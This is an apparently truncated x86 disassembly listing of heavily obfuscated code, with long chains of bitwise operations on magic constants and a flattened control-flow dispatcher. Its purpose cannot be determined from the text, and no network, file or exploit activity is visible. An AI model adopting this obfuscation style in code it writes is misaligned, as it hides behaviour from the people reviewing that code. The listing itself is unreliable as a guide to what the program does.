xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
or dl, ch
xor dl, 1
or al, ah
xor al, 1
or al, dl
mov dl, dh
and dl, bl
xor dl, 1
mov bh, dl
xor bh, bl
or dl, bl
xor dl, 1
or dl, bh
mov bh, dl
xor bh, 1
and bh, ch
and dl, ah
or dl, bh
xor bl, ah
or dh, ch
xor dh, 1
or dh, bl
xor dl, 1
mov ah, dl
xor ah, dh
or dl, dh
xor dl, 1
or dl, ah
xor al, 1
mov ah, dl
xor ah, al
xor ah, 1
or al, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov ch, cl
xor ch, 1
mov al, ch
and al, cl
xor ch, al
xor al, 1
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, ah
mov ch, cl
and ch, ah
and cl, al
mov dh, ch
xor dh, 1
xor ch, cl
xor cl, 1
or cl, dh
xor cl, 1
or cl, ch
mov ch, al
xor ch, 1
and ch, ah
mov ah, al
xor ah, dl
and ah, al
and al, dl
or al, ch
or al, ah
mov edx, eax
xor dl, 1
mov ah, cl
xor ah, 1
and dl, ah
or ah, al
and al, cl
or al, dl
mov ecx, eax
xor cl, ah
test al, 1
mov edi, 0xfea6904f
mov edx, 0x798881fc
cmovne edi, edx
test ah, 1
mov eax, 0xfea6904f
cmovne edi, eax
jmp 0x100247ba
cmp edi, 0x77d7df4d
jg 0x1001771c
cmp edi, 0x6be2061d
jg 0x1001aec5
cmp edi, 0x646c0849
je 0x10021d0f
cmp edi, 0x64ddca50
jne 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov dword [esp], eax
mov edx, ecx
or edx, 0x17cc84a0
mov esi, ecx
xor esi, 0xe8337b5f
and esi, ecx
mov edi, esi
not edi
mov ebx, edx
and ebx, 0x75a7720b
mov ebp, eax
and ebp, 0x88100954
or ebp, ebx
or edx, edi
and edi, 0x75a7720b
and esi, 0x8a588df4
or esi, edi
xor esi, ebp
not edx
or edx, esi
mov esi, edx
and edx, ecx
and ecx, 0xef18e825
mov edi, eax
and edi, 0x10e717da
or edi, ecx
mov ecx, edi
xor ecx, 0x27180801
xor edi, 0x10041240
and edi, 0xd804f264
and ecx, 0x27fb0d9b
or ecx, edi
mov edi, ecx
xor edi, 0x36b0589
xor ecx, 0x804f240
and ecx, 0x2c94fa52
and edi, 0xd36b05ad
or edi, ecx
mov ecx, edi
xor ecx, 0x8106800
xor edi, 0x90420580
and edi, 0xb4c697d2
and ecx, 0x4b39682d
or ecx, edi
mov edi, ecx
xor edi, 0x4b39682d
mov ebx, ecx
xor ebx, 0x24409290
and ebx, 0x66699298
xor ecx, 0xabaee5f2
and ecx, edi
mov ebp, edi
and ebp, 0x99966d67
or ebp, ebx
mov ebx, ebp
xor ebx, 0x9962964
mov eax, ebp
xor eax, 0x66699298
mov edi, eax
and eax, 0x94084413
and ebx, 0x6bf7bbec
or ebx, eax
or edi, 0x1f687220
mov eax, edi
and eax, 0x492d0e3a
xor ebp, 0x99966d67
xor ebx, 0x6bf7bbec
or ebx, ebp
and ebp, 0xa09281c5
or ebp, eax
mov eax, ecx
not eax
or edi, eax
and eax, 0x492d0e3a
and ecx, 0xb6d2f1c5
or ecx, eax
xor ecx, ebp
not edi
or edi, ecx
mov eax, edi
xor eax, 0xe0978ddf
xor edi, 0x1f687220
mov ecx, edi
and ecx, 0xa5876626
and eax, 0x5a7899d9
or eax, ecx
mov ecx, ebx
not ecx
or edi, ebx
and ebx, 0xa5876626
and ecx, 0x5a7899d9
or ecx, ebx
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
not eax
mov ecx, edi
or ecx, 0xe8337b5f
mov ebx, eax
and ebx, 0xe8337b5f
and edi, 0x17cc84a0
or edi, ebx
mov ebx, ecx
and ebx, 0xddfdcc73
and eax, 0x2000080
or eax, ebx
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0xddfdcc73
and edi, 0x2202338c
or edi, ebx
xor edi, eax
not ecx
or ecx, edi
mov edi, ecx
not edi
not esi
mov eax, dword [esp]
and eax, esi
or edx, eax
not edx
or edx, esi
mov eax, edx
mov esi, edx
xor esi, 0x879caf4
and esi, edx
not edx
and eax, 0xfaf047da
mov ebx, edx
and ebx, 0x50fb825
or ebx, eax
mov eax, ebx
xor eax, 0x50fb825
and eax, ecx
xor ebx, 0xfaf047da
and ebx, edi
or ebx, eax
mov eax, ebx
xor eax, ecx
and eax, ebx
mov ebx, ecx
or ebx, 0xc786310b
and edx, 0x879caf4
or edx, esi
mov esi, edi
or esi, 0x838caf4
and esi, 0xcfbefbff
and ecx, 0x30000400
or ecx, esi
and ebx, 0xcfbefbff
and edi, 0x410000
or edi, ebx
xor edi, ecx
mov ecx, edx
xor ecx, edx
not ecx
and ecx, edi
xor ecx, edx
mov esi, ecx
not esi
mov edx, eax
xor edx, esi
and edx, eax
and esi, 0x26bade02
and ecx, 0xd94521fd
or ecx, esi
xor ecx, eax
mov esi, ecx
xor esi, 0x26bade02
mov eax, edx
not eax
xor ecx, 0xd94521fd
mov edi, eax
and edi, 0x67488d15
and edx, 0x98b772ea
or edx, edi
or eax, ecx
and ecx, 0x67488d15
and esi, 0x98b772ea
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov edx, eax
not edx
and eax, 0x604c2722
mov ecx, edx
and ecx, 0x9fb3d8dd
or ecx, eax
mov eax, ecx
xor eax, 0x4c0420
xor ecx, 0x8833585d
and ecx, 0xe8337b5f
and eax, 0x17cc84a0
or eax, ecx
mov ecx, eax
xor ecx, 0xe8337b5f
and ecx, eax
or edx, 0x17cc84a0
xor edx, ecx
and ecx, edx
not edx
or edx, ecx
mov esi, edx
not esi
mov ecx, edx
and ecx, 0x756dc3ce
mov eax, esi
and eax, 0x8a923c31
or eax, ecx
mov ecx, eax
xor ecx, 0x50284286
xor eax, 0x88000800
and ecx, 0x52ba76b7
and eax, 0xad458948
or eax, ecx
mov edi, eax
xor edi, 0xad458948
xor eax, 0x52ba76b7
mov ecx, edi
or ecx, 0x80711ca0
mov ebp, edi
and edi, 0xedf57da7
mov ebx, eax
and ebx, 0x120a8258
or ebx, edi
mov edi, eax
xor ebx, 0x120a8258
or ebx, eax
or eax, 0x688c208
and ecx, 0x86f9dea8
and edi, 0x40022006
or edi, ecx
and eax, 0x86f9dea8
and ebp, 0x39040151
or ebp, eax
xor ebp, edi
mov ecx, ebp
xor ecx, 0x68a000c
mov eax, ebx
not eax
xor ebp, 0xb9751df1
mov edi, ebp
and edi, 0x6151eb42
and ecx, 0x9eae14bd
or ecx, edi
or ebp, ebx
and ebx, 0x6151eb42
and eax, 0x9eae14bd
or eax, ebx
xor eax, ecx
not ebp
or ebp, eax
mov eax, ebp
not eax
mov ecx, eax
mov ebx, eax
and ecx, 0x25000104
mov eax, ebp
mov dword [esp + 0x14], ebp
and eax, 0x4a11e00a
or eax, ecx
mov ecx, eax
xor ecx, 0x10000a
xor eax, 0x15a80780
mov dword [esp + 0x10], ebx
mov edi, ebx
or edi, 0x4f01e100
and eax, 0x5fa9e780
and ecx, 0x2010000e
or ecx, eax
and edi, 0x5fa9e780
mov eax, ebp
and eax, 0x80461871
or eax, edi
xor eax, ecx
mov edi, ebx
and edi, 0xfda66686
mov ecx, ebp
and ecx, 0x2599979
or ecx, edi
mov edi, eax
not edi
mov ebx, edi
and ebx, 0x4132e6be
and eax, 0xbecd1941
or eax, ebx
mov ebp, ecx
xor ebp, 0x2491941
xor ecx, 0x41226686
and ecx, 0x4132e6be
and ebp, 0xbecd1941
or ebp, ecx
xor ebp, eax
not ebp
or ebp, edi
mov eax, esi
and eax, 0xebb149f7
mov ecx, edx
and ecx, 0x144eb608
or ecx, eax
mov eax, ecx
xor eax, 0x4449200
xor ecx, 0x80110002
or ecx, 0xb020080
and ecx, 0x9b130482
and eax, 0x4649231
or eax, ecx
mov edi, esi
or edi, 0x90110402
and edi, 0x9b130482
mov ecx, edx
and ecx, 0x6088694c
or ecx, edi
xor ecx, eax
mov edi, ecx
xor edi, 0x920080
xor ecx, 0xca601039
and ecx, 0xce69987b
and edi, 0x31966784
or edi, ecx
mov eax, edi
xor eax, 0x20920300
xor edi, 0xce69987b
mov ecx, edi
and ecx, 0xdb0d74bd
and eax, 0x24f28b42
or eax, ecx
or edi, edx
and edx, 0xdb0d74bd
and esi, 0x24f28b42
or esi, edx
mov ebx, ebp
not ebx
xor esi, eax
not edi
or edi, esi
mov eax, ebp
and eax, 0x39208203
mov edx, ebx
and edx, 0x4c66008
or edx, eax
xor edx, 0x4c66008
mov eax, ebx
and eax, 0xc2191df4
or eax, edx
mov dword [esp], eax
mov ecx, edi
not ecx
mov dword [esp + 0xc], ecx
mov eax, edi
and eax, 0xc1aa3f04
and ecx, 0x3e55c0fb
or ecx, eax
mov edx, ecx
xor edx, 0x24000000
xor ecx, 0x1082804
mov esi, ecx
or esi, 0xc8501720
and esi, 0xc8553fe5
and edx, 0x25080000
or edx, esi
mov esi, edi
xor esi, 0xdaf2d73a
and esi, dword [esp + 0xc]
mov eax, esi
not eax
or ecx, eax
and eax, 0xc8553fe5
and esi, 0x37aac01a
or esi, eax
xor esi, edx
not ecx
or ecx, esi
not esi
and esi, 0xdaf2d73a
and ecx, 0x250d28c5
or ecx, esi
mov edx, dword [esp]
mov esi, edx
xor esi, 0xc2191df4
mov dword [esp + 4], esi
xor edx, 0x3de6e20b
mov dword [esp], edx
mov eax, edx
and eax, 0x80500440
and esi, 0x54880a08
or esi, eax
mov eax, esi
xor eax, 0x50000000
or eax, 0x2900d084
xor esi, 0x80100400
and esi, 0x84980e08
and eax, 0x7940d0c4
or eax, esi
mov edx, ebp
and edx, 0xd4d80e48
and ebx, 0x2b27f1b7
or ebx, edx
xor ebp, ebx
and ebp, ebx
mov esi, ecx
mov dword [esp + 0x18], ecx
not ecx
mov dword [esp + 8], ecx
and ecx, 0xc4080808
and esi, 0x10d00640
or esi, ecx
mov ecx, edi
and ecx, 0xd4d80e48
mov edx, dword [esp + 0xc]
and edx, 0x2b27f1b7
or edx, ecx
xor edi, edx
and edi, edx
mov ecx, eax
xor eax, 0x86bf2f3b
mov ebx, ebp
and ebp, eax
xor ecx, 0x7940d0c4
not ebx
mov eax, ecx
xor eax, ebx
and eax, ecx
and ebx, ecx
or ebx, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf83f4296
and eax, 0x4c00c48
or eax, edx
mov edx, ebx
not edx
or ecx, edx
and edx, 0xf83f4296
and ebx, 0x7c0bd69
or ebx, edx
xor ebx, eax
not ecx
or ecx, ebx
xor esi, 0x10d00640
or esi, 0x2b27f1b7
mov eax, esi
not eax
mov ebp, edi
not ebp
mov ebx, eax
xor ebx, ebp
and ebx, eax
and esi, 0x3ba64a43
and eax, 0xc4580408
or eax, esi
and ebp, 0x3ba64a43
and edi, 0xc459b5bc
or edi, ebp
xor edi, eax
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0x47aa23ff
and ebx, 0x90500c00
or ebx, eax
mov eax, edi
not eax
or ebp, eax
and eax, 0x47aa23ff
and edi, 0xb855dc00
or edi, eax
xor edi, ebx
not ebp
or ebp, edi
xor ebp, ecx
mov eax, dword [esp]
and eax, 0x6a9ae363
mov esi, dword [esp + 4]
and esi, 0x95651c9c
or esi, eax
mov ebx, dword [esp + 0x18]
mov eax, ebx
xor eax, 0x6a9ae363
mov edx, dword [esp + 8]
and eax, edx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x17788a87
and eax, 0xe8877578
or eax, ecx
mov ecx, edx
or ecx, 0x6a9ae363
or edi, ecx
and ecx, 0x17788a87
mov edx, ebx
and edx, 0x80051418
or edx, ecx
xor edx, eax
not edi
or edi, edx
mov eax, edi
xor eax, edi
not eax
and eax, esi
xor eax, edi
mov esi, dword [esp + 4]
mov ecx, esi
and ecx, 0xb1c98236
mov edx, dword [esp]
and edx, 0x4e367dc9
or edx, ecx
or esi, ebx
and ebx, 0xb1c98236
mov edi, dword [esp + 8]
and edi, 0x4e367dc9
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe258b2ae
and eax, 0x1da74d51
or eax, edx
mov edx, esi
not edx
or ecx, esi
and esi, 0xe258b2ae
and edx, 0x1da74d51
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xa14fba31
and eax, 0x5eb045ce
or eax, ecx
mov ecx, eax
xor ecx, 0x204e9a01
xor eax, 0x5eb045ce
mov edx, eax
and edx, 0xd391657a
and ecx, 0x2c6e9a85
or ecx, edx
xor ecx, 0x2c6e9a85
or ecx, eax
xor ecx, ebp
and ebp, ecx
not ecx
or ecx, ebp
mov eax, ecx
not eax
mov edx, eax
and edx, 0x203ac814
mov esi, ecx
and esi, 0xd0011040
or esi, edx
xor esi, 0xd0011040
mov edx, ecx
and edx, 0xfc427ab
or edx, esi
mov esi, edx
xor esi, 0x8427a9
xor edx, 0xb0129850
and edx, 0xbf529852
and esi, 0x40ad67ad
or esi, edx
mov edx, esi
xor edx, 0x890181
xor esi, 0x3128802
and esi, 0x4336ee2e
and edx, 0xbcc911d1
or edx, esi
mov esi, edx
xor esi, 0x2c270f21
xor edx, 0xbcc911d1
and edx, esi
or eax, 0x4c112009
and ecx, 0x10040e50
and eax, 0xccfb30a9
or eax, ecx
mov ecx, eax
xor ecx, 0x80a01080
mov esi, edx
xor esi, 0x5cbd3fb9
and esi, edx
mov edi, edx
not edi
mov edx, eax
xor edx, 0x2004556
and edx, 0x24b4577
and ecx, 0x90a41a80
or ecx, edx
mov ebx, ecx
xor ebx, 0x90a41a80
or ebx, edi
and edi, 0x5cbd3fb9
or esi, edi
mov edx, ecx
xor edx, 0x90001
or edx, 0x4000
xor ecx, 0x8240200
xor eax, 0x80420000
and edx, 0x10895881
and ecx, 0x8240730
or ecx, edx
and eax, 0x80420040
or eax, 0x54997889
xor eax, ecx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, esi
xor ecx, eax
not ebx
and ebx, 0x92ef5ff7
or ebx, ecx
mov dword [esp + 4], ebx
mov edi, dword [esp + 0x10]
mov eax, edi
and eax, 0x162a5d01
mov edx, dword [esp + 0x14]
mov ecx, edx
and ecx, 0xe9d5a2fe
or ecx, eax
xor ecx, 0xe9d5a2fe
mov esi, edi
and esi, edx
or esi, ecx
mov dword [esp], esi
mov ecx, esi
not ecx
mov eax, ecx
mov ebx, ecx
mov dword [esp + 8], ecx
and eax, 0xbc5081fe
mov ecx, esi
and ecx, 0x43af7e01
or ecx, eax
not ecx
or ecx, ebx
mov eax, edi
and eax, 0x43af7e01
and edx, 0xbc5081fe
or edx, eax
mov eax, ecx
not eax
xor edi, edx
and edi, edx
mov esi, ecx
and esi, 0x4e822118
mov edx, eax
and edx, 0xb17ddee7
or edx, esi
mov ebp, edi
not ebp
mov esi, ebp
and esi, 0x4e822118
mov ebx, edi
xor ebx, 0x4e822118
and ebx, edi
or ebx, esi
xor ebx, edx
mov edx, eax
and edx, 0x90d3955b
and ecx, 0x6f2c6aa4
or ecx, edx
or eax, edi
and edi, 0x90d3955b
and ebp, 0x6f2c6aa4
or ebp, edi
xor ebp, ecx
not eax
or eax, ebp
not eax
or eax, ebx
mov ebx, eax
not ebx
mov ecx, eax
xor ecx, 0x858ef994
and ecx, eax
or eax, 0x7a71066b
mov edx, eax
and edx, 0xdec305f6
and ebx, 0x10cf800
or ebx, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0xdec305f6
and ecx, 0x213cfa09
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov edi, dword [esp + 8]
mov ecx, edi
and ecx, 0xc801ace6
mov esi, dword [esp]
and esi, 0x37fe5319
or esi, ecx
mov ecx, esi
xor ecx, 0x37fe5319
mov ebp, esi
xor ebp, 0xc35cb7ed
and ebp, ecx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xcdad5aa3
and ebp, 0x3252a55c
or ebp, edx
mov edx, edi
or edx, 0xb5d1b0b
or ebx, edx
and edx, 0xcdad5aa3
mov edi, edx
mov edx, dword [esp]
and edx, 0x3002a454
or edx, edi
xor eax, 0xc6218794
xor edx, ebp
not ebx
or ebx, edx
xor ebx, 0xf4a2e4f5
xor esi, 0x8800a066
and esi, 0xbd06f366
mov edx, ecx
and edx, 0x42f90c99
or edx, esi
mov esi, edx
xor esi, 0x2800c163
and ecx, 1
or ecx, esi
xor edx, 0x42c90c00
and edx, 0xd7cf3e04
and ecx, 0x2830c1fb
or ecx, edx
xor ecx, 0x2830c1fb
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9c361f96
and ecx, 0x63c9e069
or ecx, edx
mov edx, ecx
xor edx, 0x63c9e069
xor ecx, 0x9c361f96
mov esi, eax
xor esi, ecx
and esi, eax
xor ecx, edx
and ecx, eax
xor ecx, edx
or ecx, esi
mov eax, ecx
not eax
and ecx, 0xeccbe769
and eax, 0x13341896
or eax, ecx
mov ecx, eax
xor ecx, 0x2341016
xor eax, 0x48c34200
and eax, 0x59c34a80
and ecx, 0xa63cb57f
or ecx, eax
mov eax, ecx
xor eax, 0x41410000
xor ecx, 0x22001420
and ecx, 0x3a825ea0
and eax, 0xc57da15f
or eax, ecx
mov ecx, eax
xor ecx, 0xc57da15f
mov edx, eax
xor edx, 0x3a820800
and edx, 0xbbea881a
xor eax, 0xfcf11ae
and eax, ecx
mov esi, ecx
and esi, 0x441577e5
or esi, edx
mov edi, esi
xor edi, 0x441577e5
mov ecx, esi
xor ecx, 0x715838eb
and ecx, edi
or eax, ecx
mov ecx, eax
xor ecx, 0x4a1280d0
xor esi, 0xb9800812
and esi, 0xbd910f13
mov edx, edi
and edx, 0x426ef0ec
or edx, esi
xor edx, 0x426ef0ec
or edx, edi
xor eax, 0x354d4f0e
mov esi, eax
and esi, 0x94e13a29
and ecx, 0x6b1ec5d6
or ecx, esi
xor ecx, edx
xor ecx, 0x6b1ec5d6
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x90b5516
mov esi, eax
and esi, 0xf6f4aae9
or esi, edx
mov edx, esi
xor edx, 0x8050a8e9
mov edi, ecx
and edi, 0x7eac0702
and eax, 0x8153f8fd
or eax, edi
xor esi, 0x8080502
and esi, 0x7eac0702
and edx, 0x8153f8fd
or edx, esi
xor edx, eax
mov edi, ecx
xor edi, edx
and edi, edx
mov dword [esp + 8], edi
mov eax, dword [esp + 4]
mov ecx, eax
mov edx, eax
not edx
mov dword [esp], edx
and edx, 0xc24ab23
and ecx, 0xf3db54dc
or ecx, edx
mov edx, edi
not edi
mov ebx, edi
and ebx, 0x8953680d
and edx, 0x76ac97f2
or edx, ebx
mov ebx, ecx
xor ebx, 0x73495044
xor ecx, 0xc24ab23
mov ebp, ecx
and ebp, 0x80920c9b
and ebx, 0x7f6df364
or ebx, ebp
mov ebp, edx
xor ebp, 0x762c9360
xor edx, 0x8953680d
or ecx, edx
and edx, 0x80920c9b
and ebp, 0x7f6df364
or ebp, edx
xor ebp, ebx
mov esi, eax
xor esi, 0x1e6da225
and esi, eax
not ecx
or ecx, ebp
mov ebp, dword [esp + 8]
mov edx, ebp
xor edx, 0x1e6da225
and edx, ebp
mov ebx, dword [esp]
and ebx, 0x6088201
and eax, 0x18652024
or eax, ebx
mov ebx, ecx
not ebx
xor eax, 0x18652024
or esi, eax
or ebp, 0xe1925dda
mov eax, ebp
and eax, 0x50bf0723
and edi, 0xe40a004
or edi, eax
mov eax, edx
not eax
or ebp, eax
and eax, 0x50bf0723
and edx, 0xaf40f8dc
or edx, eax
xor edx, edi
not ebp
or ebp, edx
mov edx, ebp
xor edx, ebp
not edx
and edx, esi
xor edx, ebp
mov edi, edx
not edi
mov esi, ebx
xor esi, edi
and esi, ebx
and ecx, 0x30d5cdc7
and ebx, 0xcf2a3238
or ebx, ecx
and edi, 0x30d5cdc7
and edx, 0xcf2a3238
or edx, edi
xor edx, ebx
mov ecx, esi
not ecx
mov eax, edx
not eax
mov edi, ecx
and edi, 0xd2293f0d
and esi, 0x2dd6c0f2
or esi, edi
or ecx, eax
and eax, 0xd2293f0d
and edx, 0x2dd6c0f2
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 1
mov esi, ecx
and esi, 0x80004000
or esi, eax
xor esi, 0x80005
mov eax, edx
or eax, 0x80004001
mov edi, edx
and edi, 0x1020100
or edi, esi
and eax, 0x80084005
mov ebp, ecx
and ebp, 0x840242
or ebp, eax
xor ebp, edi
mov eax, ebp
xor eax, 0xff73fdb9
xor ebp, eax
mov edi, edx
and edi, 0x818e4347
mov esi, ecx
and esi, 0x7e71bcb8
or esi, edi
not esi
or esi, edx
xor ebp, 0x8c0246
and ebp, esi
xor ebp, eax
or eax, esi
not eax
or ebp, eax
mov eax, ebp
not eax
mov esi, eax
and esi, 0x84e7300
mov edi, ebp
and edi, 0x11210060
or edi, esi
mov esi, edi
xor esi, 0x1200060
xor edi, 0x28e011e
or eax, 0x100f0100
and edi, 0x128f011e
and esi, 0x9607260
or esi, edi
and eax, 0x128f011e
and ebp, 0xe4108c81
or ebp, eax
xor ebp, esi
mov eax, ebp
xor eax, 0x671ecfd8
mov dword [esp], eax
xor ebp, 0x98e13027
mov edi, ecx
xor edi, 0xfe390392
and edi, ecx
mov esi, edx
and esi, 0xfe390392
or esi, edi
mov edi, esi
xor edi, 0x42090102
and edx, 0x8cbe87ae
and ecx, 0x73417851
or ecx, edx
mov edx, ecx
xor edx, 0x43412840
xor esi, 0x1c6fc6d
xor ecx, 0x8cbe87ae
mov ebx, esi
and ebx, 0xbc365699
and edi, 0x43c9a966
or edi, ebx
or esi, ecx
and ecx, 0xbc365699
and edx, 0x43c9a966
or edx, ecx
xor edx, edi
not esi
or esi, edx
mov edx, esi
not edx
and esi, 0xb95f16d7
and edx, 0x46a0e928
or edx, esi
mov ecx, edx
xor ecx, 0x804108
xor edx, 0x215f0484
and edx, 0x677faca4
and ecx, 0x9880535b
or ecx, edx
mov edx, ecx
xor edx, 0x203b0404
xor ecx, 0x800100b
and ecx, 0x4f44b8ab
and edx, 0xb0bb4754
or edx, ecx
mov ebx, edx
xor ebx, 0xb0bb4754
mov dword [esp + 0xc], ebx
xor edx, 0x4f44b8ab
mov ecx, ebp
and ecx, 0x350cebdc
mov esi, dword [esp]
and esi, 0xcaf31423
or esi, ecx
mov edi, esi
xor edi, 0xc0d10000
xor esi, 0x14046158
and esi, 0x1e26757b
and edi, 0xe1d98a84
or edi, esi
mov ecx, edx
and ecx, 0xfa56c467
and ebx, 0x5a93b98
or ebx, ecx
mov eax, edi
mov ecx, edi
xor ecx, 0x1e26757b
mov dword [esp + 4], ecx
xor eax, 0xe1d98a84
mov dword [esp + 8], eax
mov edi, eax
and edi, 0x5ce1c193
and ecx, 0xa31e3e6c
or ecx, edi
mov edi, ecx
xor edi, eax
and edi, ecx
mov eax, dword [esp]
and eax, 0x654fa09c
mov ecx, ebp
and ecx, 0x9ab05f63
or ecx, eax
xor ecx, 0xc6519ef0
and ebp, 0xa31e3e6c
or ebp, ecx
mov ecx, ebx
xor ecx, 0x5a93b98
mov dword [esp], ecx
xor ebx, 0xfa56c467
mov eax, ebx
and eax, 0xb8986084
and ecx, 0x47679f7b
or ecx, eax
mov esi, ecx
xor esi, 0x47679f7b
xor ecx, 0x88000080
and ecx, 0x8c6599a0
mov eax, esi
and eax, 0x739a665f
or eax, ecx
xor eax, 0xd0845833
and esi, 0x5ce1c193
or esi, eax
mov ecx, dword [esp + 0xc]
and ecx, 0x11449d66
mov eax, edx
and eax, 0xeebb6299
or eax, ecx
xor eax, 0xb25aa30a
and edx, 0xa31e3e6c
or edx, eax
xor ebp, edi
and edi, ebp
not ebp
or ebp, edi
mov eax, esi
not eax
mov ecx, edx
not ecx
and ecx, esi
or esi, edx
and edx, eax
or edx, ecx
mov edi, edx
not edi
mov eax, edi
and eax, 0x823326b9
and edx, 0x7dccd946
or edx, eax
xor edx, esi
or edi, esi
xor edx, 0x7dccd946
not edi
or edi, edx
mov eax, ebp
xor eax, edi
or edi, ebp
and edi, eax
mov ecx, dword [esp + 8]
mov eax, dword [esp]
and eax, ecx
or ecx, ebx
and ebx, dword [esp + 4]
or ebx, eax
mov edx, ebx
not edx
mov eax, edx
and eax, 0xf2ed74e6
and ebx, 0xd128b19
or ebx, eax
xor ebx, ecx
xor ebx, 0xd128b19
or edx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
mov eax, ecx
and eax, edx
mov esi, eax
not esi
mov ebx, edx
and ebx, 0x9ae66f1f
and ecx, 0x651990e0
or ecx, ebx
or edx, esi
and esi, 0x9ae66f1f
and eax, 0x651990e0
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, edi
mov esi, edi
xor esi, 0x3de83015
and esi, edi
or edi, 0xc217cfea
not ecx
mov ebp, edi
and ebp, 0x3a37f441
mov ebx, ecx
and ebx, 0x5c80014
or ebx, ebp
mov ebp, esi
not ebp
or edi, ebp
and ebp, 0x3a37f441
and esi, 0xc5c80bbe
or esi, ebp
mov ebp, edx
xor ebp, 0x3de83015
and ebp, eax
or ecx, eax
or eax, 0x3de83015
xor esi, ebx
not edi
or edi, esi
mov esi, ebp
not esi
mov ebx, esi
and ebx, 0x63151a7f
and ebp, 0x9ceae580
or ebp, ebx
or esi, eax
and eax, 0x63151a7f
and edx, 0x8002c580
or edx, eax
xor edx, ebp
not esi
or esi, edx
mov eax, esi
xor eax, esi
not eax
and eax, edi
xor eax, esi
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x4000480d
mov edx, ecx
mov ebx, ecx
mov dword [esp + 4], ecx
and edx, 0x127003a0
or edx, eax
xor edx, 0x127003a0
mov eax, esi
mov ebp, esi
mov dword [esp], esi
and eax, 0xad8fb452
or eax, edx
mov edi, eax
not edi
and eax, 0x200c003a
and edi, 0x80525601
or edi, eax
mov esi, edi
xor esi, 0x80525601
mov eax, edi
xor eax, 0x5e2c01b8
mov edx, ebp
and edx, 0xa05e563b
and ebx, 0x5fa1a9c4
or ebx, edx
mov ecx, ebx
xor ecx, ebp
and ecx, ebx
and eax, 0xde3e51b9
xor edi, 0xa05c0411
and edi, esi
and esi, 0x20400602
or esi, eax
mov eax, esi
xor eax, 0x21c1ae46
mov ebx, esi
xor ebx, 0xac112be9
and ebx, eax
or edi, ebx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x722f7a50
mov edx, ecx
and edx, 0x8dd085af
or edx, ebx
mov ebx, edx
xor ebx, edx
not ebx
and ebx, edi
xor ebx, edx
xor esi, 0xde3e51b9
mov edx, esi
and edx, 0xa0444409
and eax, 0x529abbf6
or eax, edx
or esi, ecx
and ecx, 0xad654409
and ebp, 0x529abbf6
or ebp, ecx
xor ebp, eax
not esi
or esi, ebp
mov edx, ebx
not edx
mov eax, edx
and eax, 0xaa303c70
and ebx, 0x55cfc38f
or ebx, eax
xor ebx, esi
xor ebx, 0x55cfc38f
or edx, esi
not edx
or edx, ebx
mov esi, edx
xor esi, 0xa05e563b
mov ebx, dword [esp + 4]
mov edi, ebx
xor edi, 0xa62992f0
and edi, ebx
mov eax, ebx
or eax, 0x5980050a
and eax, 0x5b89079a
mov ecx, dword [esp]
and ecx, 0xa4209060
or ecx, eax
mov eax, edi
not eax
or ebx, eax
and eax, 0x5b89079a
and edi, 0xa476f865
or edi, eax
xor edi, ecx
not ebx
or ebx, edi
not edi
and edi, 0x59d66d0f
and ebx, 0xa62992f0
or ebx, edi
xor edx, 0x5fa1a9c4
mov ecx, edx
and ecx, 0xc6d5d945
mov eax, esi
and eax, 0x392a26ba
or eax, ecx
mov ecx, ebx
not ecx
mov edi, ebx
xor edi, 0xc6d5d945
and ecx, edi
and edi, ebx
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, eax
xor ecx, edi
not ecx
and edx, 0x82bd81bf
and esi, 0x7d427e40
or esi, edx
xor esi, 0x7d427e40
or esi, ecx
xor esi, 0xffffffff
setne dh
sete al
cmp dword [0x1004f90c], 0xa
setl ah
setge dl
mov ch, al
inc ch
mov cl, al
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, al
mov bh, dh
xor bh, al
mov bl, bh
xor bl, 1
mov ch, al
xor ch, bl
and ch, al
and bh, dh
and bl, al
or bl, bh
or ch, bl
mov dh, bl
xor dh, 1
mov al, dh
and al, bl
mov bh, dh
xor bh, al
xor al, 1
or al, bl
xor al, 1
or al, bh
mov ebx, eax
xor bl, 1
and bl, ch
or dh, ch
xor ch, 1
and al, ch
or al, bl
xor al, 1
mov ch, al
xor ch, dh
or al, dh
xor al, 1
or al, ch
mov bh, ah
mov ch, ah
or ch, al
mov dh, ch
xor dh, 1
mov bl, ch
and bl, dh
xor bl, 1
or bl, dh
mov dh, cl
xor dh, 1
xor al, 1
or al, dl
xor bl, 1
or bl, ch
xor bl, al
or al, ch
xor al, 1
or al, bl
mov ch, cl
xor ch, dl
and ch, cl
or bh, cl
xor ch, 1
mov bl, ch
xor bl, bh
or ch, bh
mov bh, dh
and bh, ah
or dh, ah
xor ch, 1
or ch, bl
mov bl, ch
xor bl, 1
and ah, bl
and ch, dl
or ch, ah
xor ch, 1
or ch, bl
xor ch, 1
and dl, cl
or bh, dl
xor cl, bh
and cl, bh
mov dl, dh
xor dl, 1
mov ah, cl
xor ah, 1
and dh, cl
and ah, dl
or ah, dh
mov dh, cl
